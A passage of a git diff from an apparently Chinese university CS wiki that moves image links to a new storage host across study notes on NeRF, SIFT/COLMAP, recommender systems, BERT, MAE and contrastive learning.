+![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXSUge0BqBCecdDJLQr4cRc.png) # 3.可编辑(指比如人体运动等做修改工作的) @@ -63,7 +63,7 @@ Human-nerf 生成可编辑的人体运动视频建模,输入是一段人随便动动的视频。输出的动作可以编辑修改,并且对衣物折叠等有一定优化。使用的模型并非全隐式的,并且对头发和衣物单独使用变换模型。使用了逆线性蒙皮模型提取人物骨骼(可学习的模型),上面那个蓝色的就是姿态矫正模块,这个模块赋予骨骼之间运动关系的权重(因为使用的是插值处理同一运动时不同骨骼的平移旋转矩阵,一块骨骼动会牵动其他骨骼)图中的 Ω 就是权重的集合,它通过 mlp 学习得到。然后得到显式表达的人物骨骼以及传入视频中得到的对应骨骼的 mesh,skeletal motion 就是做游戏人物动作用的编辑器这种,后面残差链接了一个 non-rigid-motion(非刚性动作),这个是专门处理衣物和毛发的,主要通过学习得到,然后粗暴的加起来就能得到模型,再经过传统的 nerf 渲染出图像。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHRnNXHvwVXrRmM8wnl53p9.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHRnNXHvwVXrRmM8wnl53p9.png) ### 2.Neural Body @@ -75,7 +75,7 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作,演示视频右下。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnYmy1MnyWSPNEWvFWj9mzCf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYmy1MnyWSPNEWvFWj9mzCf.png) 这是 EasyMocap 的演示。 @@ -87,7 +87,7 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 是个预训练模型,训练的模块就是这个 3D 卷积神经网络。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbclBwg3BsubGOrt8vZf0qb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbclBwg3BsubGOrt8vZf0qb.png) ### 3.wild-nerf @@ -101,11 +101,11 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 在此网络的单个输出上貌似是不监督的,因为没办法进行人为标注。这点我不是很确定,以后如果发现了会来修改的。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnYeaiioqtFzQlztsTwiEpzg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYeaiioqtFzQlztsTwiEpzg.png) 渲染经过形变的物体时,光线其实是在 t=0 时刻进行渲染的,因为推土机的铲子放下去了,所以光线是弯曲的。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcng7xDooDmmpbCJRyLJBucwe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcng7xDooDmmpbCJRyLJBucwe.png) # 4.用于辅助传统图像处理 @@ -123,23 +123,23 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 GRAF 把 GAN 与 nerf 结合,增加了两个输入,分别是外观/形状编码 z2D 采样编码 v,z 用来改变渲染出来东西的特征,比如把生成的车变色或者变牌子,suv 变老爷车之类的。v(s,u)用来改变下图 2 中训练时选择光线的标准。这里训练时不是拿 G 生成的整张图扔进 D 网络,而是根据 v 的参数选择一些光线组成的 batch 扔进 D 进行辨别 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnVyFqHIoA2MGGc4JJo9tObh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVyFqHIoA2MGGc4JJo9tObh.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnvBzqwCn9i8GGBIkMFEs3ne.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvBzqwCn9i8GGBIkMFEs3ne.png) ### 2.GIRAFFE GIRAFFE 是 GRAF 的改进工作,可以把图片中的物品,背景一个个解耦出来单独进行改变或者移动和旋转,也可以增加新的物品或者减少物品,下图中蓝色是不可训练的模块,橙色可训练。以我的理解好像要设置你要解耦多少个(N)物品再训练,网络根据类似 k 近邻法的方法在特征空间上对物品进行分割解耦,然后分为 N 个渲染 mlp 进行训练,训练前加入外观/形状编码 z。最后还是要扔进 D 训练。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnB04hwHA1o64WBvYSyVTDod.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnB04hwHA1o64WBvYSyVTDod.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnC2bKVHOANjGOePLHk7jfZe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC2bKVHOANjGOePLHk7jfZe.png) ### 3.OSF OSFObject-Centric Neural Scene Rendering,可以给移动的物体生成合理的阴影和光照效果。加入了新的坐标信息:光源位置,与相机坐标等一起输入。对每个小物件构建一个单独的小 nerf,计算这个小 nerf 的体素时要先经过光源照射处理(训练出来的)然后在每个小物件之间也要计算反射这样的光线影响,最后进行正常的渲染。这篇文章没人写 review,有点冷门,这些都是我自己读完感觉的,不一定对。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnV7YcKIq5y8TkOGEGzrPc5g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnV7YcKIq5y8TkOGEGzrPc5g.png) ### 4.Hyper-nerf-gan @@ -153,7 +153,7 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 左边是常规卷积网络生成图像,右边是用 INR 生成图像。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnGCCZ8qXD1Hhc531NxfLzLd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGCCZ8qXD1Hhc531NxfLzLd.png) 这种方法存在两个问题: @@ -165,8 +165,8 @@ EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作 FMM 主要是把要学习的矩阵转化为两个低秩矩阵,去先生成他们俩再相乘,减少网络计算量。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn0oHY54dgL2bxmryxjqxC6f.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn0oHY54dgL2bxmryxjqxC6f.png) 现在开始讲 Hyper-nerf-gan 本身,它看上去其实就是 nerf 接在 gan 上。不过有一些变化,比如输入不再包含视角信息,我很怀疑它不能很好表达反光效果。而且抛弃了粗网络细网络的设计,只使用粗网络减少计算量。这里的 generator 完全就是 INR-Gan 的形状,生成权重,然后再经过 nerf 的 mlp 层生成,没啥别的了,就这样吧。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnc9bZ1nqt3Lighlrj9zSrdd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnc9bZ1nqt3Lighlrj9zSrdd.png) diff --git a/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md b/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md index 0dd2147..029b38a 100644 --- a/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md +++ b/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP.md @@ -2,7 +2,7 @@ 如何使用和怎么下载就不讲了,直接搜就有,它可以把多个拍摄同一物体的图片转换为它们对应视角的相机矩阵和拍摄角度,可以实现自制数据集做 nerf。它的流程(SFM 算法)可以概括如下: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXzgaIhmUQ7HQtEn52ksWIf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXzgaIhmUQ7HQtEn52ksWIf.png) 这里主要是记录一下它的原理: 首先是一个经典关键点匹配技术:SIFT @@ -11,53 +11,53 @@ ## DOG 金字塔 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcneERqw4amGHf6f2SX7gcdny.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcneERqw4amGHf6f2SX7gcdny.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnv4dRbGDg9eemcyQFREYs0b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnv4dRbGDg9eemcyQFREYs0b.png) 下面是原理方法: 首先是高斯金字塔,它是把原图先放大两倍,然后使用高斯滤波(高斯卷积)对图像进行模糊化数次,取出倒数第三层缩小一半继续进行这个过程,也就是说它是由一组一组的小金字塔组成的。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnKJWrCUc5cPOuZg01HqNCsc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKJWrCUc5cPOuZg01HqNCsc.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg) 然后是基于高斯金字塔的 DOG 金字塔,也叫差分金字塔,它是把相邻的高斯金字塔层做减法得到的,因为经过高斯模糊,物体的轮廓(或者说不变特征)被模糊化,也就是被改变。通过相减可以得到这些被改变的点。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcncKZlnG7F4oEpcrQYqth8kh.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncKZlnG7F4oEpcrQYqth8kh.jpg) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnAEQSDhsLdDsNOQVxqcic5d.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAEQSDhsLdDsNOQVxqcic5d.jpg) ## 空间极值点检测 为了找到变化的最大的几个点来作为特征点,我们需要找到变化的极值点,因此需要进行比较,这里是在整个金字塔中进行对比,我们提取某个点周边 3*3*3 的像素点进行比较,找到最大或最小的局部极值点。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnl48ovxbqSeTljgF3rp16ue.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl48ovxbqSeTljgF3rp16ue.png) 同时我们也对关键点分配方向,也就是这个点在图片空间中的梯度方向 梯度为: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbQx8TntyX8iETPixOnKjef.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbQx8TntyX8iETPixOnKjef.png) 梯度方向为: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfw5FrBxPaD4bNFT4GFyXmd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfw5FrBxPaD4bNFT4GFyXmd.png) 我们计算以关键点为中心的邻域内所有点的梯度方向,然后把这些 360 度范围内的方向分配到 36 个每个 10 度的方向中,并构建方向直方图,这里的示例使用了 8 个方向,几个随你其实: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg) 取其中最大的为主方向,若有一个方向超过主方向的 80%,那么把它作为辅方向。 操作可以优化为下图,先把关键点周围的像素分成 4 块,每块求一次上面的操作,以这个 4 个梯度直方图作为关键点的方向描述。也就是一个 2*2*8(方向数量)的矩阵作为这个点的方向特征。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnEvWRhUKcWKAoYKWbN1kAuc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEvWRhUKcWKAoYKWbN1kAuc.png) 实验表明,使用 4*4*8=122 的描述更加可靠。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniVb6FvrZziID1B1JFmgVzx.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniVb6FvrZziID1B1JFmgVzx.jpg) 特征点的匹配是通过计算两组特征点的 128 维的关键点的欧式距离实现的。欧式距离越小,则相似度越高,当欧式距离小于设定的阈值时,可以判定为匹配成功。 diff --git a/4.人工智能/4.6.5.5行人重识别(ReID).md b/4.人工智能/4.6.5.5行人重识别(ReID).md index 1e252a4..c3f0e87 100644 --- a/4.人工智能/4.6.5.5行人重识别(ReID).md +++ b/4.人工智能/4.6.5.5行人重识别(ReID).md @@ -8,10 +8,10 @@ 该任务目前在学术上是检索出不同摄像头下的相同行人图片,同时数据集中只有人的全身照,如下图所示。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ReID1.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ReID1.png) 但是实际上在实际应用中的时候会和检测结合,简单来说先框出目标后分类,如下图所示。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ReID2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ReID2.png) 这个方向做的比较的奇怪,该模块只做整体性介绍,同时希望学习该模块的你对经典网络有所了解。 diff --git a/4.人工智能/4.6.6.1NLP领域任务(研究目标).md b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md index 28f933c..e729a12 100644 --- a/4.人工智能/4.6.6.1NLP领域任务(研究目标).md +++ b/4.人工智能/4.6.6.1NLP领域任务(研究目标).md @@ -4,25 +4,25 @@ 分类 (text classification): 给一句话或者一段文本,判断一个标签。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/PxE3b05ApofzZ1x8u49cirdUnye.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PxE3b05ApofzZ1x8u49cirdUnye.png) 图 2:分类 (text classification) 蕴含 (textual entailment): 给一段话,和一个假设,看看前面这段话有没有蕴含后面的假设。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/OuhabfzABoqxQxxS1n1cPLTinKb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/OuhabfzABoqxQxxS1n1cPLTinKb.png) 图 3:蕴含 (textual entailment) 相似 (Similarity): 判断两段文字是否相似。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ByeFbxTfToxFlgxh6xmcIKeRnzd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ByeFbxTfToxFlgxh6xmcIKeRnzd.png) 图 4:相似 (Similarity) 多选题 (Multiple Choice): 给个问题,从 N 个答案中选出正确答案。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/ZYgybsj5dol1Ifx96Koc6SRpnmc.jpeg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/ZYgybsj5dol1Ifx96Koc6SRpnmc.jpeg) 图 5:多选题 (Multiple Choice) diff --git a/4.人工智能/4.6.6.2.2.3推荐系统实例.md b/4.人工智能/4.6.6.2.2.3推荐系统实例.md index c603636..c2fd453 100644 --- a/4.人工智能/4.6.6.2.2.3推荐系统实例.md +++ b/4.人工智能/4.6.6.2.2.3推荐系统实例.md @@ -1,6 +1,6 @@ # 推荐系统的外围架构 -![推荐系统外围架构图](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/推荐系统外围架构图.png) +![推荐系统外围架构图](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐系统外围架构图.png)

推荐系统外围架构图
@@ -22,7 +22,7 @@ 若是将推荐系统的任务细分,可以结合现实实际情况:将最新加入的物品推荐给用户;商业上需要宣传的物品推荐给用户;为用户推荐不同种类的物品。 **复杂的特征和情况不同的任务**会让推荐系统变得非常复杂,所以推荐系统的架构为了方便考虑,采用多个不同的推荐引擎组成,每个推荐引擎专门负责某一类特征和一种任务,而推荐系统再将推荐引擎的结果按照一定的优先级合并,排序并返回给UI系统。 -![推荐系统的架构图](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/推荐系统的架构图.png) +![推荐系统的架构图](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐系统的架构图.png)
推荐系统的架构
如上图所示。 @@ -38,7 +38,7 @@ - 推荐列表筛选、过滤、重排列部分 -![推荐引擎的架构](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/推荐引擎的架构.png) +![推荐引擎的架构](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/推荐引擎的架构.png) 以上为推荐引擎的架构图。 diff --git a/4.人工智能/4.6.6.2.2.4利用用户行为数据.md b/4.人工智能/4.6.6.2.2.4利用用户行为数据.md index b29e6b8..d49ef7d 100644 --- a/4.人工智能/4.6.6.2.2.4利用用户行为数据.md +++ b/4.人工智能/4.6.6.2.2.4利用用户行为数据.md @@ -179,7 +179,7 @@ $$Preference(u,i)=r_{ui}=p^T_uq_i=\sum^F_{f=1}{p_{u,k}q_{i,k}}$$ 在研究图模型之前,需要用已有的数据生成一个图,设二元组 $(u,i)$ 表示用u对于物品 i 产生过行为。令 $G(V,E)$ 表示用户物品二分图,其中$V=V_U\cup V_I$ 由用户顶点集合和物品顶点集合组成,$E$ 是边的集合。对于数据集中的二元组 $(u,i)$ 图中都会有对应的边 $e(v_u,v_i)\in E$ 如下图所示。 -![用户物品二分图模型](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/用户物品二分图模型.png) +![用户物品二分图模型](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/用户物品二分图模型.png) ### 基于图的推荐算法 diff --git a/4.人工智能/4.6.6.2.3序列化推荐.md b/4.人工智能/4.6.6.2.3序列化推荐.md index 312ee80..3c0065f 100644 --- a/4.人工智能/4.6.6.2.3序列化推荐.md +++ b/4.人工智能/4.6.6.2.3序列化推荐.md @@ -10,5 +10,5 @@

而SRSs则是将用户和商品的交互建模为一个动态的序列并且利用序列的依赖性来活捉当前和最近用户的喜好。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnolggxKhDZDBzIFPIaDFfhc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnolggxKhDZDBzIFPIaDFfhc.png) diff --git a/4.人工智能/4.6.6.2推荐系统.md b/4.人工智能/4.6.6.2推荐系统.md index b7d488b..6fa4dd1 100644 --- a/4.人工智能/4.6.6.2推荐系统.md +++ b/4.人工智能/4.6.6.2推荐系统.md @@ -4,7 +4,7 @@ 如下图是阿里巴巴著名的“千人千面”推荐系统 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3bdrD08wpaYhL59ezDukuc.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3bdrD08wpaYhL59ezDukuc.jpg) 还有短视频应用用户数量的急剧增长,这背后,视频推荐引擎发挥着不可替代的作用 diff --git a/4.人工智能/4.6.7.1VIT.md b/4.人工智能/4.6.7.1VIT.md index 7a0e16c..ca13ee2 100644 --- a/4.人工智能/4.6.7.1VIT.md +++ b/4.人工智能/4.6.7.1VIT.md @@ -18,7 +18,7 @@ ## 模型详解 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn1wqKtwBc6MCJDm7ehvhXac.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1wqKtwBc6MCJDm7ehvhXac.png) ### 模型主题结构 @@ -51,9 +51,9 @@ 例如 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn1szLG4Y4s0UkY3kkW18Xoc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1szLG4Y4s0UkY3kkW18Xoc.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnv2inISAGi2xOauc3pxKpCb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnv2inISAGi2xOauc3pxKpCb.png) 其中该张图片的编码为[0.5,0.6,0.3,....] diff --git a/4.人工智能/4.6.7.2BERT.md b/4.人工智能/4.6.7.2BERT.md index 09fbc71..98f40b7 100644 --- a/4.人工智能/4.6.7.2BERT.md +++ b/4.人工智能/4.6.7.2BERT.md @@ -30,13 +30,13 @@ mlp 的重点和创新并非它的模型结构,而是它的训练方式,前 BERT 模型的输入就是上面三者的和,如图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngc1a7cWapQA9rSLXYqUvkf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngc1a7cWapQA9rSLXYqUvkf.png) ## 模型结构 简单来说,BERT 是 transformer编码器的叠加,也就是下图左边部分。这算一个 block。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPg8594YzCdnX6KZxpEYYod.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPg8594YzCdnX6KZxpEYYod.png) 说白了就是一个 多头自注意力=>layer-norm=> 接 feed forward(其实就是 mlp)=>layer-norm,没有什么创新点在这里。因为是一个 backbone 模型,它没有具体的分类头之类的东西。输出就是最后一层 block 的输出。 diff --git a/4.人工智能/4.6.7.3MAE.md b/4.人工智能/4.6.7.3MAE.md index 3f34265..90cb0d9 100644 --- a/4.人工智能/4.6.7.3MAE.md +++ b/4.人工智能/4.6.7.3MAE.md @@ -28,7 +28,7 @@ cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行 在这里,作者为了加大任务的难度,扩大了被 mask 掉的比例,避免模型只学到双线性插值去修补缺的图像。作者把 75% 的 patch 进行 mask,然后放入模型训练。从下图可以看出,被 mask 的块是不进行编码的,这样也可以降低计算量,减少成本。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png) 在被保留的块通过编码器后,我们再在原先位置插入只包含位置信息的 mask 块,一起放入解码器。 @@ -38,7 +38,7 @@ cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行 下面是原论文给的训练结果,可以看到效果是很惊人的。(有些图我脑补都补不出来) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPWO0VWbPvCE537tf6MWu4e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPWO0VWbPvCE537tf6MWu4e.png) # 相关资料 diff --git a/4.人工智能/4.6.8.1前言.md b/4.人工智能/4.6.8.1前言.md index 91210d0..697999b 100644 --- a/4.人工智能/4.6.8.1前言.md +++ b/4.人工智能/4.6.8.1前言.md @@ -24,7 +24,7 @@ 直观来讲,我们把特征的向量进行一下归一化,它们就分布在一个超球面上。简单起见,我们先看 3 维向量 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJ6HpIJqxJuxiz7Cw5GopSh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJ6HpIJqxJuxiz7Cw5GopSh.png) 我们通过正样本(跟拿到的特征应当相近的另一个特征)与负样本(反之)的对比,使得 diff --git a/4.人工智能/4.6.8.2Inst Disc.md b/4.人工智能/4.6.8.2Inst Disc.md index 108f14f..3d6e134 100644 --- a/4.人工智能/4.6.8.2Inst Disc.md +++ b/4.人工智能/4.6.8.2Inst Disc.md @@ -8,7 +8,7 @@ 作者团队认为,让这些猎豹,雪豹的标签相互接近(指互相在判别时都排名靠前)的原因并不是它们有相似的标签,而是它们有相似的图像特征。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png) ## 个体判别任务 @@ -16,7 +16,7 @@ 于是他们把每一个图片当作一个类别,去跟其他的图片做对比,具体模型如下 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPNukes2FlNwUFSKiqIJEbd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPNukes2FlNwUFSKiqIJEbd.png) 先介绍一下模型结构: @@ -48,11 +48,11 @@ A 是起始点,B 是第一次更新后的点,C 是第二次更新后的点 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn5zfD155Joy1eD5CvbZXZnc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5zfD155Joy1eD5CvbZXZnc.png) 而在我们刚刚提到的动量更新里,它的公式可以概括为: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTLEK31rFmuRo2MOWGRBoYe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTLEK31rFmuRo2MOWGRBoYe.png) m 表示动量,k 是新的特征,q 是上一个特征,只要设置小的动量就可以使改变放缓。 diff --git a/4.人工智能/4.6.8.3定义正负样本的方式.md b/4.人工智能/4.6.8.3定义正负样本的方式.md index 11e65b6..c62f67d 100644 --- a/4.人工智能/4.6.8.3定义正负样本的方式.md +++ b/4.人工智能/4.6.8.3定义正负样本的方式.md @@ -4,7 +4,7 @@ # 1.时序性定义(生成式模型) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnC10uzdj0G0BJPlUZKFIi7C.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC10uzdj0G0BJPlUZKFIi7C.png) 这是处理音频的一个例子,给模型 t 时刻以前的信息,让它抽取特征并对后文进行预测,真正的后文作为正样本,负样本当然是随便选取就好啦。 @@ -24,4 +24,4 @@ (这篇论文我准备开个新坑放着了,因为说实话不算对比学习,算多模态) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnssaOVvp73SVIrzVvZPr1Je.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnssaOVvp73SVIrzVvZPr1Je.png) diff --git a/4.人工智能/4.6.8.4MoCo.md b/4.人工智能/4.6.8.4MoCo.md index 3288838..1d633dd 100644 --- a/4.人工智能/4.6.8.4MoCo.md +++ b/4.人工智能/4.6.8.4MoCo.md @@ -24,7 +24,7 @@ NCE 把所有负样本都视作一样的,但实际上负样 右边就是 memory bank 啦 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnKMjslIshEA5SFqc8rbmqoe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKMjslIshEA5SFqc8rbmqoe.png) # MoCo 做出的改进 @@ -38,7 +38,7 @@ NCE 把所有负样本都视作一样的,但实际上负样 动量编码器是独立于原编码器的一个编码器,它的参数是根据原编码器动量更新的,k 和 q 就是指代全部参数了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnFLSP9PtQRkgYgcMwM4idog.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFLSP9PtQRkgYgcMwM4idog.png) 这样的话就是解码器在缓慢更新,比对特征使用动量更新要更有连续性。 @@ -48,7 +48,7 @@ NCE 把所有负样本都视作一样的,但实际上负样 [(什么?你看到这了还不会交叉熵?戳这里)](https://zhuanlan.zhihu.com/p/149186719) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnWI38bkSzeCe5TtVTBCrNh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnWI38bkSzeCe5TtVTBCrNh.png) q·k 其实就是各个特征(因为那时候用的都是 transformer 了,这里就是 trnasformer 里的 k 和 q) @@ -56,9 +56,9 @@ q·k 其实就是各个特征(因为那时候用的都是 transformer 了, T 越大,损失函数就越对所有负样本一视同仁,退化为二分类的 NCEloss;T 越小,损失函数就越关注一些难分类的特征,但有时候会出现两张其实都是猫猫的图片,你硬要让模型说猫猫跟猫猫不一样,这也不太好,这个参数要根据数据集情况适中调整。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhuabU9XzXmVQfu0ruENs83.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhuabU9XzXmVQfu0ruENs83.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnsGpqCNePn2G34GnJqPieBf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsGpqCNePn2G34GnJqPieBf.png) 上面那张是 T 较大的情况,下面是 T 较小的情况(x 轴是各个类别,y 轴是分类得分) diff --git 